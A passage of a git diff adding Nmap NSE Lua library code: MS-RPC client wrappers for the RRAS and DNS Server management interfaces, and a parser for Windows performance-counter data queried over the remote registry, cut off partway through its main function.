+ RB_Dummy = 4
+ RB_Done = 0
+ Alignment = 0
+ rb_blob = string.pack("<I4I4I4I4I8",
+ RB_PCBIndex,
+ RB_ReqType,
+ RB_Dummy,
+ RB_Done,
+ Alignment)
+ .. RB_Buffer
+ return rb_blob
+end
+
+--####################################################################--
+--# 3) RRAS RASRPC OPERATIONS
+--####################################################################--
+local RRAS_DEBUG_LVL = 2 --debug level for rras operations when calling stdnse.debug
+
+--####################################################################--
+--- RRAS operation numbers.
+-- * [MS-RRASM] <code>3.3.4 Message Processing Events and Sequencing Rules</code>
+--####################################################################--
+RRAS_Opnums = {}
+RRAS_Opnums["RasRpcDeleteEntry"] = 5
+RRAS_Opnums["RasRpcGetUserPreferences"] = 9
+RRAS_Opnums["RasRpcSetUserPreferences"] = 10
+RRAS_Opnums["RasRpcGetSystemDirectory"] = 11
+RRAS_Opnums["RasRpcSubmitRequest"] = 12
+RRAS_Opnums["RasRpcGetInstalledProtocolsEx"] = 14
+RRAS_Opnums["RasRpcGetVersion"] = 15
+
+--####################################################################--
+--DWORD RasRpcSubmitRequest(
+-- [in] handle_t hServer,//An RPC binding handle. (not send)
+-- [in, out, unique, size_is(dwcbBufSize)] PBYTE pReqBuffer,//A pointer to a buffer of size dwcbBufSize.
+-- [in] DWORD dwcbBufSize//Size in byte of pReqBuffer.
+--);
+---The RasRpcSubmitRequest method retrieves or sets the configuration data on RRAS server.
+-- @param smbstate The smb object.
+-- @param pReqBuffer The buffer MUST be large enough to hold the <code>RequestBuffer</code>
+--structure and <code>RequestBuffer.RB_Buffer</code> data. <code>RequestBuffer.RB_Reqtype</code>
+--specifies the request type which will be processed by the server and
+--<code>RequestBuffer.RB_Buffer</code> specifies the structure specific to <code>RB_Reqtype</code>
+--to be processed. <code>RequestBuffer.RB_PCBIndex<code> MUST be set to the unique port identifier
+--whose information is sought for <code>ReqTypes REQTYPE_GETINFO</code> and <code>REQTYPE_GETDEVCONFIG</code>.
+--For other valid <code>ReqTypes</code>, <code>RequestBuffer.RB_PCBIndex</code> MUST be set to zero.
+-- @param dwcbBufSize Integer representing the size of <code>pRegBuffer</code> in bytes.
+-- @return (status, result)
+--* <code>status == true</code> -> <code>result</code> is a blob that represent a <code>pRegBuffer</code> .
+--* <code>status == false</code> -> <code>result</code> is a error message that caused the fuzz.
+-- * [MS-RRASM] <code>3.3.4.5 RasRpcSubmitRequest (Opnum 12)</code>
+--####################################################################--
+function RRAS_SubmitRequest(smbstate, pReqBuffer, dwcbBufSize)
+ --sanity check
+ if(dwcbBufSize == nil) then
+ dwcbBufSize = #pReqBuffer
+ end
+ --pack the request
+ local req_blob
+ --[in, out, unique, size_is(dwcbBufSize) PBYTE pReqBuffer,
+ req_blob = string.pack("<I4I4", 0x20000, dwcbBufSize) .. pReqBuffer .. get_pad(pReqBuffer,4) --unique pointer see samba:ndr_push_unique_ptr
+ --[in] DWORD dwcbBufSize
+ .. msrpctypes.marshall_int32(dwcbBufSize)
+ --call the function
+ local status, result
+ stdnse.debug(
+ RRAS_DEBUG_LVL,
+ "RRAS_SubmitRequest: Calling...")
+ status, result = call_function(
+ smbstate,
+ RRAS_Opnums["RasRpcSubmitRequest"],
+ req_blob)
+ --sanity check
+ if(status == false) then
+ stdnse.debug(
+ RRAS_DEBUG_LVL,
+ "RRAS_SubmitRequest: Call function failed: %s",
+ result)
+ return false, result
+ end
+ stdnse.debug(
+ RRAS_DEBUG_LVL,
+ "RRAS_SubmitRequest: Returned successfully")
+ --dissect the reply
+ local rep_blob
+ rep_blob = result
+ return true, rep_blob
+end
+
+--####################################################################--
+--# 1) DNS SERVER MANAGEMENT SERVICE INTERFACE
+--####################################################################--
+DNSSERVER_UUID_STR = "50abc2a4-574d-40b3-9d66-ee4fd5fba076"
+DNSSERVER_UUID = "\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76"
+DNSSERVER_PATH = "\\DNSSERVER"
+DNSSERVER_VERSION = 5
+
+--####################################################################--
+--# 2) DNS SERVER MANAGEMENT SERVICE TYPES
+--####################################################################--
+---The list of names that are used in (name, value) pairs in DNS Server
+--Configuration information is given below.
+-- * [MS-DNSP] <code>3.1.1.1 DNS Server Configuration Information</code>
+DNSSERVER_ConfInfo =
+{
+ DNSSERVER_IntProp = {},
+ DNSSERVER_AddrArrProp = {},
+ DNSSERVER_StrProp = {},
+ DNSSERVER_StrLstProp = {}
+}
+
+--####################################################################--
+--# 3) DNS SERVER MANAGEMENT SERVICE OPERATIONS
+--####################################################################--
+local DNSSERVER_DEBUG_LVL = 2 --debug level for dnsserver operations when calling stdnse.debug
+
+--####################################################################--
+--- DNSSERVER operation numbers.
+-- * [MS-DNSP] <code>3.1.4 Message Processing Events and Sequencing Rules</code>
+--####################################################################--
+DNSSERVER_Opnums = {}
+DNSSERVER_Opnums['R_DnssrvOperation'] = 0
+DNSSERVER_Opnums['R_DnssrvQuery'] = 1
+DNSSERVER_Opnums['R_DnssrvComplexOperation'] = 2
+DNSSERVER_Opnums['R_DnssrvEnumRecords'] = 3
+DNSSERVER_Opnums['R_DnssrvUpdateRecord'] = 4
+DNSSERVER_Opnums['R_DnssrvOperation2'] = 5
+DNSSERVER_Opnums['R_DnssrvQuery2'] = 6
+DNSSERVER_Opnums['R_DnssrvComplexOperation2'] = 7
+DNSSERVER_Opnums['R_DnssrvEnumRecords2'] = 8
+DNSSERVER_Opnums['R_DnssrvUpdateRecord2'] = 9
+
+--####################################################################--
+--[[
+LONG R_DnssrvQuery(
+ [in, unique, string] LPCWSTR pwszServerName,
+ [in, unique, string] LPCSTR pszZone,
+ [in, unique, string] LPCSTR pszOperation,
+ [out] PDWORD pdwTypeId,
+ [out, switch_is(*pdwTypeId)] DNSSRV_RPC_UNION* ppData);
+--]]
+---Issues type specific information queries to server. This method is
+--obsoleted by R_DnssrvQuery2.
+-- @param smbstate The smb object.
+-- @param server_name String that designates a fully qualified domain
+--name of the target server. The server MUST ignore this value.
+-- @param zone String that designates the name of the zone to be queried.
+--For operations specific to a particular zone, this field MUST contain
+--the name of the zone. For all other operations, this field MUST be nil.
+-- @param operation String that designates the name of the operation to
+--be performed on the server. These are two sets of allowed values for
+--pszOperation:
+--* <code>zone == nil</code> -> see DNSSERVER_ConfInfo table.
+--* <code>zone == "some_zone"</code> -> see DNSSERVER_ZoneInfo table.
+-- @return (status, result)
+--* <code>status == true</code> ->
+--that indicates the type of <code>result['data']</code>.
+--** <code>result['data']</code> - A DNSSRV_RPC_UNION blob that contains a
+--** <code>result['type_id']</code> - Integer that on success contains a value of type DNS_RPC_TYPEID
+--data-structure as indicated by <code>result['type_id']</code>.
+--* <code>status == false</code> ->
+--** <code>result</code> - Is a error message that caused the fuzz.
+-- * [MS-DNSP] <code>3.1.4.2 R_DnssrvQuery (Opnum 1)</code>
+--####################################################################--
+function DNSSERVER_Query(smbstate, server_name, zone, operation)
+ local status
+ --call
+ local req_blob, srv_name_utf16, zone_ascii, operation_ascii
+ --[in, unique, string] LPCWSTR pwszServerName,
+ local unique_ptr
+ unique_ptr = 0x00020000
+ srv_name_utf16 = msrpctypes.string_to_unicode(server_name, true)
+ req_blob = string.pack("<I4I4I4I4",
+ unique_ptr,
+ #srv_name_utf16/2,
+ 0,
+ #srv_name_utf16/2)
+ .. srv_name_utf16
+ .. get_pad(srv_name_utf16, 4)
+ --[in, unique, string] LPCSTR pszZone,
+ if(zone == nil) then
+ req_blob = string.pack("<I4", 0x00000000)
+ else
+ zone_ascii = zone .. '\0'
+ req_blob = req_blob .. string.pack("<I4I4I4I4",
+ unique_ptr + 1,
+ #zone_ascii,
+ 0,
+ #zone_ascii)
+ .. zone_ascii
+ .. get_pad(zone_ascii, 4)
+ end
+ --[in, unique, string] LPCSTR pszOperation,
+ operation_ascii = operation .. '\0'
+ req_blob = req_blob .. string.pack("<I4I4I4I4",
+ unique_ptr+2,
+ #operation_ascii,
+ 0,
+ #operation_ascii)
+ .. operation_ascii
+ .. get_pad(operation_ascii, 4)
+
+ local call_result
+ stdnse.debug(
+ DNSSERVER_DEBUG_LVL,
+ "DNSSERVER_Query: Calling...")
+ status, call_result = call_function(
+ smbstate,
+ DNSSERVER_Opnums['R_DnssrvQuery'],
+ req_blob)
+ --sanity check
+ if(status == false) then
+ stdnse.debug(
+ DNSSERVER_DEBUG_LVL,
+ "DNSSERVER_Query: Call function failed: %s",
+ call_result)
+ return false, call_result
+ end
+ stdnse.debug(
+ DNSSERVER_DEBUG_LVL,
+ "DNSSERVER_Query: Returned successfully")
+ --dissect the reply
+ local rep_blob, pos, ptr, result
+ rep_blob = call_result['arguments']
+ --[out] PDWORD pdwTypeId,
+ result = {}
+ pos, result['type_id'] = msrpctypes.unmarshall_int32_ptr(rep_blob)
+ --[out, switch_is(*pdwTypeId)] DNSSRV_RPC_UNION* ppData) -- pointer_default(unique)
+ -- TODO: The original used the 'A' format to unpack a single byte, which I
+ -- replaced with the literal equivalent 'B'. Should it have been a substring
+ -- to the end of the blob instead?
+ ptr, result['data'], pos = string.unpack("<I4B", rep_blob, pos)
+ return result
+end
+
+--####################################################################--
+--# UTILITY
+--###################################################################--
+
+--####################################################################--
+---Makes a pad for alignment
+-- @param data Data which needs to be padded for the sake of alignment.
+-- @param align Integer representing the alignment boundary.
+-- @param pad_byte The value for pad byte.
+-- @return Returns the amount of pad calculated by <code>(align-datalen%align)%align</code>.
+--####################################################################--
+function get_pad(data, align, pad_byte)
+ pad_byte = pad_byte or "\00"
+ return string.rep(pad_byte, (align-#data%align)%align)
+end
+
+return _ENV;
diff --git a/nselib/msrpcperformance.lua b/nselib/msrpcperformance.lua
new file mode 100644
index 0000000..0656888
--- /dev/null
+++ b/nselib/msrpcperformance.lua
@@ -0,0 +1,620 @@
+---
+-- This module is designed to parse the <code>PERF_DATA_BLOCK</code> structure, which is
+-- stored in the registry under HKEY_PERFORMANCE_DATA. By querying this structure, you can
+-- get a whole lot of information about what's going on.
+--
+-- To use this from a script, see <code>get_performance_data</code>, it is the only
+-- "public" function in this module.
+--
+-- My primary sources of information were:
+-- * This 1996 journal by Matt Pietrek: <http://www.microsoft.com/msj/archive/S271.aspx>
+-- * The followup article: <http://www.microsoft.com/msj/archive/S2A9.aspx>
+-- * The WinPerf.h header file
+--
+-- And my primary inspiration was PsTools, specifically, <code>pstasklist.exe</code>.
+--
+--@author Ron Bowes <ron@skullsecurity.net>
+--@copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-----------------------------------------------------------------------
+
+local msrpc = require "msrpc"
+local msrpctypes = require "msrpctypes"
+local stdnse = require "stdnse"
+local string = require "string"
+_ENV = stdnse.module("msrpcperformance", stdnse.seeall)
+
+---Parses the title database, which is a series of null-terminated string pairs.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (status, pos, result) The status (true if successful), the new position in <code>data</code> (or an error
+-- message), and a table representing the datatype, if any.
+local function parse_perf_title_database(data, pos)
+ local result = {}
+ local i = 1
+
+ repeat
+ local number, name
+ number, name, pos = string.unpack("<zz", data, pos)
+
+ if(number == nil) then
+ return false, "Couldn't parse the title database: end of string encountered early"
+ elseif(tonumber(number) == nil) then -- Not sure if this actually happens, but it doesn't hurt to check
+ stdnse.debug1("MSRPC: ERROR: Couldn't parse the title database: string found where number expected (%d: '%s')", i, number)
+ return false, "Couldn't parse the title database"
+ end
+
+ result[tonumber(number)] = name
+ i = i + 1
+ until pos >= #data
+
+ return true, pos, result
+end
+
+---Parses a PERF_DATA_BLOCK, which has the following definition (from "WinPerf.h" on Visual Studio 8):
+--
+--<code>
+-- typedef struct _PERF_DATA_BLOCK {
+-- WCHAR Signature[4]; // Signature: Unicode "PERF"
+-- DWORD LittleEndian; // 0 = Big Endian, 1 = Little Endian
+-- DWORD Version; // Version of these data structures
+-- // starting at 1
+-- DWORD Revision; // Revision of these data structures
+-- // starting at 0 for each Version
+-- DWORD TotalByteLength; // Total length of data block
+-- DWORD HeaderLength; // Length of this structure
+-- DWORD NumObjectTypes; // Number of types of objects
+-- // being reported
+-- LONG DefaultObject; // Object Title Index of default
+-- // object to display when data from
+-- // this system is retrieved (-1 =
+-- // none, but this is not expected to
+-- // be used)
+-- SYSTEMTIME SystemTime; // Time at the system under
+-- // measurement
+-- LARGE_INTEGER PerfTime; // Performance counter value
+-- // at the system under measurement
+-- LARGE_INTEGER PerfFreq; // Performance counter frequency
+-- // at the system under measurement
+-- LARGE_INTEGER PerfTime100nSec; // Performance counter time in 100 nsec
+-- // units at the system under measurement
+-- DWORD SystemNameLength; // Length of the system name
+-- DWORD SystemNameOffset; // Offset, from beginning of this
+-- // structure, to name of system
+-- // being measured
+-- } PERF_DATA_BLOCK, *PPERF_DATA_BLOCK;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (status, pos, result) The status (true if successful), the new position in <code>data</code> (or an error
+-- message), and a table representing the datatype, if any.
+local function parse_perf_data_block(data, pos)
+ local result = {}
+
+ pos, result['Signature'] = msrpctypes.unicode_to_string(data, pos, 4, false)
+ if(result['Signature'] ~= "PERF") then
+ return false, "MSRPC: PERF_DATA_BLOCK signature is missing or incorrect"
+ end
+
+ pos, result['LittleEndian'] = msrpctypes.unmarshall_int32(data, pos)
+ if(result['LittleEndian'] ~= 1) then
+ return false, "MSRPC: PERF_DATA_BLOCK returned a non-understood endianness"
+ end
+
+ -- Parse the header
+ pos, result['Version'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['Revision'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['TotalByteLength'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['HeaderLength'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['NumObjectTypes'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['DefaultObject'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['SystemTime'] = msrpctypes.unmarshall_SYSTEMTIME(data, pos)
+ pos, result['PerfTime'] = msrpctypes.unmarshall_int64(data, pos)
+ pos, result['PerfFreq'] = msrpctypes.unmarshall_int64(data, pos)
+ pos, result['PerfTime100nSec'] = msrpctypes.unmarshall_int64(data, pos)
+ pos = pos + 4 -- This value doesn't seem to line up, so add 4
+
+ pos, result['SystemNameLength'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['SystemNameOffset'] = msrpctypes.unmarshall_int32(data, pos)
+
+ -- Ensure that the system name is directly after the header. This technically shouldn't matter, but Microsoft's documentation
+ -- (in WinPref.h) says that the actual object comes "after the PERF_DATA_BLOCK", so it doesn't make sense that the SystemName
+ -- could be anywhere else.
+ if(pos ~= result['SystemNameOffset'] + 1) then
+ return false, "MSRPC: PERF_DATA_BLOCK has SystemName in the wrong location"
+ end
+
+ -- Read the system name from the next location (which happens to be identical to SystemNameOffset, on a proper system)
+ pos, result['SystemName'] = msrpctypes.unicode_to_string(data, pos, result['SystemNameLength'] / 2, true)
+
+ pos = pos + 4 -- Again, we end up not lined up so here we fix it
+
+ return true, pos, result
+end
+
+
+---Parse a PERF_OBJECT_TYPE structure. From Microsoft's documentation:
+--
+--<code>
+-- //
+-- // The _PERF_DATA_BLOCK structure is followed by NumObjectTypes of
+-- // data sections, one for each type of object measured. Each object
+-- // type section begins with a _PERF_OBJECT_TYPE structure.
+-- //
+-- typedef struct _PERF_OBJECT_TYPE {
+-- DWORD TotalByteLength; // Length of this object definition
+-- // including this structure, the
+-- // counter definitions, and the
+-- // instance definitions and the
+-- // counter blocks for each instance:
+-- // This is the offset from this
+-- // structure to the next object, if
+-- // any
+-- DWORD DefinitionLength; // Length of object definition,
+-- // which includes this structure
+-- // and the counter definition
+-- // structures for this object: this
+-- // is the offset of the first
+-- // instance or of the counters
+-- // for this object if there is
+-- // no instance
+-- DWORD HeaderLength; // Length of this structure: this
+-- // is the offset to the first
+-- // counter definition for this
+-- // object
+-- DWORD ObjectNameTitleIndex;
+-- // Index to name in Title Database
+-- #ifdef _WIN64
+-- DWORD ObjectNameTitle; // Should use this as an offset
+-- #else
+-- LPWSTR ObjectNameTitle; // Initially NULL, for use by
+-- // analysis program to point to
+-- // retrieved title string
+-- #endif
+-- DWORD ObjectHelpTitleIndex;
+-- // Index to Help in Title Database
+-- #ifdef _WIN64
+-- DWORD ObjectHelpTitle; // Should use this as an offset
+-- #else
+-- LPWSTR ObjectHelpTitle; // Initially NULL, for use by
+-- // analysis program to point to
+-- // retrieved title string
+-- #endif
+-- DWORD DetailLevel; // Object level of detail (for
+-- // controlling display complexity);
+-- // will be min of detail levels
+-- // for all this object's counters
+-- DWORD NumCounters; // Number of counters in each
+-- // counter block (one counter
+-- // block per instance)
+-- LONG DefaultCounter; // Default counter to display when
+-- // this object is selected, index
+-- // starting at 0 (-1 = none, but
+-- // this is not expected to be used)
+-- LONG NumInstances; // Number of object instances
+-- // for which counters are being
+-- // returned from the system under
+-- // measurement. If the object defined
+-- // will never have any instance data
+-- // structures (PERF_INSTANCE_DEFINITION)
+-- // then this value should be -1, if the
+-- // object can have 0 or more instances,
+-- // but has none present, then this
+-- // should be 0, otherwise this field
+-- // contains the number of instances of
+-- // this counter.
+-- DWORD CodePage; // 0 if instance strings are in
+-- // UNICODE, else the Code Page of
+-- // the instance names
+-- LARGE_INTEGER PerfTime; // Sample Time in "Object" units
+-- //
+-- LARGE_INTEGER PerfFreq; // Frequency of "Object" units in
+-- // counts per second.
+-- } PERF_OBJECT_TYPE, *PPERF_OBJECT_TYPE;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (status, pos, result) The status (true if successful), the new position in <code>data</code> (or an error
+-- message), and a table representing the datatype, if any.
+local function parse_perf_object_type(data, pos)
+ local result = {}
+
+ pos, result['TotalByteLength'] = msrpctypes.unmarshall_int32(data, pos) -- Offset to the next object
+ pos, result['DefinitionLength'] = msrpctypes.unmarshall_int32(data, pos) -- Offset to the first instance (or counter, if no instances)
+ pos, result['HeaderLength'] = msrpctypes.unmarshall_int32(data, pos) -- Offset to the first counter definition
+ pos, result['ObjectNameTitleIndex'] = msrpctypes.unmarshall_int32(data, pos) -- Index in the Title Database
+ pos, result['ObjectNameTitle'] = msrpctypes.unmarshall_int32(data, pos) -- TODO: will this work with 64-bit?
+ pos, result['ObjectHelpTitleIndex'] = msrpctypes.unmarshall_int32(data, pos) -- Index in the Help Database
+ pos, result['ObjectHelpTitle'] = msrpctypes.unmarshall_int32(data, pos) -- TODO: will this workw ith 64-bit?
+ pos, result['DetailLevel'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['NumCounters'] = msrpctypes.unmarshall_int32(data, pos) -- The number of counters in each counter block
+ pos, result['DefaultCounter'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['NumInstances'] = msrpctypes.unmarshall_int32(data, pos) -- Numer of object instances for which counters are being returned
+ pos, result['CodePage'] = msrpctypes.unmarshall_int32(data, pos) -- 0 if strings are in UNICODE, otherwise the Code Page
+ -- if(result['CodePage'] ~= 0) then
+ -- return false, string.format("Unknown Code Page for data: %d\n", result['CodePage'])
+ -- end
+ pos, result['PerfTime'] = msrpctypes.unmarshall_int64(data, pos) -- Sample time in "Object" units
+ pos, result['PerfFreq'] = msrpctypes.unmarshall_int64(data, pos) -- Frequency of "Object" units in counts/second
+
+ return true, pos, result
+end
+
+
+---Parse a PERF_COUNTER_DEFINITION structure. From Microsoft's documentation:
+--
+--<code>
+-- // There is one of the following for each of the
+-- // PERF_OBJECT_TYPE.NumCounters. The Unicode names in this structure MUST
+-- // come from a message file.
+-- typedef struct _PERF_COUNTER_DEFINITION {
+-- DWORD ByteLength; // Length in bytes of this structure
+-- DWORD CounterNameTitleIndex;
+-- // Index of Counter name into
+-- // Title Database
+-- #ifdef _WIN64
+-- DWORD CounterNameTitle;
+-- #else
+-- LPWSTR CounterNameTitle; // Initially NULL, for use by
+-- // analysis program to point to
+-- // retrieved title string
+-- #endif
+-- DWORD CounterHelpTitleIndex;
+-- // Index of Counter Help into
+-- // Title Database
+-- #ifdef _WIN64
+-- DWORD CounterHelpTitle;
+-- #else
+-- LPWSTR CounterHelpTitle; // Initially NULL, for use by
+-- // analysis program to point to
+-- // retrieved title string
+-- #endif
+-- LONG DefaultScale; // Power of 10 by which to scale
+-- // chart line if vertical axis is 100
+-- // 0 ==> 1, 1 ==> 10, -1 ==>1/10, etc.
+-- DWORD DetailLevel; // Counter level of detail (for
+-- // controlling display complexity)
+-- DWORD CounterType; // Type of counter
+-- DWORD CounterSize; // Size of counter in bytes
+-- DWORD CounterOffset; // Offset from the start of the
+-- // PERF_COUNTER_BLOCK to the first
+-- // byte of this counter
+-- } PERF_COUNTER_DEFINITION, *PPERF_COUNTER_DEFINITION;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (status, pos, result) The status (true if successful), the new position in <code>data</code> (or an error
+-- message), and a table representing the datatype, if any.
+local function parse_perf_counter_definition(data, pos)
+ local result = {}
+ local initial_pos = pos
+
+ pos, result['ByteLength'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['CounterNameTitleIndex'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['CounterNameTitle'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['CounterHelpTitleIndex'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['CounterHelpTitle'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['DefaultScale'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['DetailLevel'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['CounterType'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['CounterSize'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['CounterOffset'] = msrpctypes.unmarshall_int32(data, pos)
+
+ pos = initial_pos + result['ByteLength']
+
+ return true, pos, result
+end
+
+---Parse the actual counter value. This is a fairly simple function, it takes a counter
+-- definition and pulls out data based on it.
+--
+-- Note: I don't think this is doing the 8-byte values right, I suspect that they're supposed
+-- to be doubles.
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@param counter_definition The matching counter_definition.
+--@return (status, pos, result) The status (true if successful), the new position in <code>data</code> (or an error
+-- message), and a table representing the datatype, if any.
+local function parse_perf_counter(data, pos, counter_definition)
+ local result
+
+ if(counter_definition['CounterSize'] == 4) then
+ pos, result = msrpctypes.unmarshall_int32(data, pos)
+ elseif(counter_definition['CounterSize'] == 8) then
+ pos, result = msrpctypes.unmarshall_int64(data, pos)
+ else
+ pos, result = msrpctypes.unmarshall_raw(data, pos, counter_definition['CounterSize'])
+ end
+
+ return true, pos, result
+end
+
+---Parse a PERF_INSTANCE_DEFINITION structure. From Microsoft's documentation:
+--
+--<code>
+-- // If (PERF_DATA_BLOCK.NumInstances >= 0) then there will be
+-- // PERF_DATA_BLOCK.NumInstances of a (PERF_INSTANCE_DEFINITION
+-- // followed by a PERF_COUNTER_BLOCK followed by the counter data fields)
+-- // for each instance.
+-- //
+-- // If (PERF_DATA_BLOCK.NumInstances < 0) then the counter definition
+-- // structure above will be followed by only a PERF_COUNTER_BLOCK and the
+-- // counter data for that COUNTER.
+-- typedef struct _PERF_INSTANCE_DEFINITION {
+-- DWORD ByteLength; // Length in bytes of this structure,
+-- // including the subsequent name
+-- DWORD ParentObjectTitleIndex;
+-- // Title Index to name of "parent"
+-- // object (e.g., if thread, then
+-- // process is parent object type);
+-- // if logical drive, the physical
+-- // drive is parent object type
+-- DWORD ParentObjectInstance;
+-- // Index to instance of parent object
+-- // type which is the parent of this
+-- // instance.
+-- LONG UniqueID; // A unique ID used instead of
+-- // matching the name to identify
+-- // this instance, -1 = none
+-- DWORD NameOffset; // Offset from beginning of
+-- // this struct to the Unicode name
+-- // of this instance
+-- DWORD NameLength; // Length in bytes of name; 0 = none
+-- // this length includes the characters
+-- // in the string plus the size of the
+-- // terminating NULL char. It does not
+-- // include any additional pad bytes to
+-- // correct structure alignment
+-- } PERF_INSTANCE_DEFINITION, *PPERF_INSTANCE_DEFINITION;
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (status, pos, result) The status (true if successful), the new position in <code>data</code> (or an error
+-- message), and a table representing the datatype, if any.
+local function parse_perf_instance_definition(data, pos)
+ local result = {}
+
+ -- Remember where we started. I noticed that where the counter part starts can move around, so we have to
+ -- determine it by adding ByteLength to the initial position
+ local initial_pos = pos
+
+ pos, result['ByteLength'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['ParentObjectTitleIndex'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['ParentObjectInstance'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['UniqueID'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['NameOffset'] = msrpctypes.unmarshall_int32(data, pos)
+ pos, result['NameLength'] = msrpctypes.unmarshall_int32(data, pos)
+
+ pos, result['InstanceName'] = msrpctypes.unicode_to_string(data, pos, result['NameLength'] / 2, true)
+
+ pos = initial_pos + result['ByteLength']
+
+ return true, pos, result
+end
+
+---Parse a PERF_COUNTER_BLOCK structure. From Microsoft's documentation:
+--
+--<code>
+-- typedef struct _PERF_COUNTER_BLOCK {
+-- DWORD ByteLength; // Length in bytes of this structure,
+-- // including the following counters
+-- } PERF_COUNTER_BLOCK, *PPERF_COUNTER_BLOCK;
+--
+--</code>
+--
+--@param data The data being processed.
+--@param pos The position within <code>data</code>.
+--@return (status, pos, result) The status (true if successful), the new position in <code>data</code> (or an error
+-- message), and a table representing the datatype, if any.
+local function parse_perf_counter_block(data, pos)
+ local result = {}
+
+ pos, result['ByteLength'] = msrpctypes.unmarshall_int32(data, pos)
+
+ return true, pos, result
+end
+
+---Retrieve the parsed performance data from the given host for the requested
+-- object values.
+--
+-- To get a list of possible object values, leave 'objects' blank and look at
+-- <code>result['title_database']</code> -- it'll contain a list of indexes
+-- that can be looked up. These indexes are passed as a string or as a series
+-- of space-separated strings (eg, "230" for "Process" and "238" for "Process"
+-- and "Processor").
+--
+--@param host The host object
+--@param objects [optional] The space-separated list of object numbers to
+-- retrieve. Default: only retrieve the database.
+function get_performance_data(host, objects)
+
+ -- Create the SMB session
+ local status, smbstate = msrpc.start_smb(host, msrpc.WINREG_PATH)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ -- Bind to WINREG service
+ local status, bind_result = msrpc.bind(smbstate, msrpc.WINREG_UUID, msrpc.WINREG_VERSION, nil)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, bind_result
+ end
+
+ -- Open HKEY_PERFORMANCE_DATA
+ local status, openhkpd_result = msrpc.winreg_openhkpd(smbstate)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, openhkpd_result
+ end
+
+ local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openhkpd_result['handle'], "Counter 009")
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, queryvalue_result
+ end
+
+ -- Parse the title database
+ local pos = 1
+ local status
+ local result = {}
+ status, pos, result['title_database'] = parse_perf_title_database(queryvalue_result['value'], pos)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, pos
+ end
+ result['title_database'][0] = "<null>"
+
+
+ if(objects ~= nil and #objects > 0) then
+ -- Query for the objects
+ local status, queryvalue_result = msrpc.winreg_queryvalue(smbstate, openhkpd_result['handle'], objects)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, queryvalue_result
+ end
+
+ -- Parse the header
+ pos = 1
+ local status, data_block
+ status, pos, data_block = parse_perf_data_block(queryvalue_result['value'], pos)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, pos
+ end
+
+ -- Move past the header
+ pos = 1 + data_block['HeaderLength']
+
+ -- Parse the data sections
+ for i = 1, data_block['NumObjectTypes'], 1 do
+ local object_start = pos
+
+ local counter_definitions = {}
+ local object_instances = {}
+ local counter_definitions = {}
+
+ -- Get the type of the object (this is basically the class definition -- info about the object instances)
+ local status, object_type
+ status, pos, object_type = parse_perf_object_type(queryvalue_result['value'], pos)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, pos
+ end
+
+ -- Start setting up the result object
+ --stdnse.debug1("Index = %d\n", object_type['ObjectNameTitleIndex'])
+ local object_name = result['title_database'][object_type['ObjectNameTitleIndex']]
+ result[object_name] = {}
+
+ --stdnse.debug1("\n\nOBJECT: %s\n", object_name)
+ --stdnse.debug1(" Counters: %d\n", object_type['NumCounters'])
+ --stdnse.debug1(" Instances: %d\n", object_type['NumInstances'])
+ --stdnse.debug1("-----------------\n")
+
+ -- Bring the position to the beginning of the counter definitions
+ pos = object_start + object_type['HeaderLength']
+
+ -- Parse the counter definitions
+ for j = 1, object_type['NumCounters'], 1 do
+ status, pos, counter_definitions[j] = parse_perf_counter_definition(queryvalue_result['value'], pos)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, pos
+ end
+ --stdnse.debug1(" Counter definition #%2d: [%d bytes] %s\n", j, counter_definitions[j]['CounterSize'], result['title_database'][counter_definitions[j]['CounterNameTitleIndex']])
+ end
+
+ -- Bring the position to the beginning of the instances (or counters)
+ pos = object_start + object_type['DefinitionLength']
+
+ -- Check if we have any instances (sometimes we don't -- if we don't, the value returned is a negative)
+ if (object_type['NumInstances'] & 0x80000000) == 0 then
+ -- Parse the object instances and counters
+ for j = 1, object_type['NumInstances'], 1 do
+ local instance_start = pos
+
+ -- Instance definition
+ local status
+ status, pos, object_instances[j] = parse_perf_instance_definition(queryvalue_result['value'], pos)
+ if(status == false) then
+ msrpc.stop_smb(smbstate)
+ return false, pos
+ end
+
+ -- Set up the instance array
+ local instance_name = object_instances[j]['InstanceName']
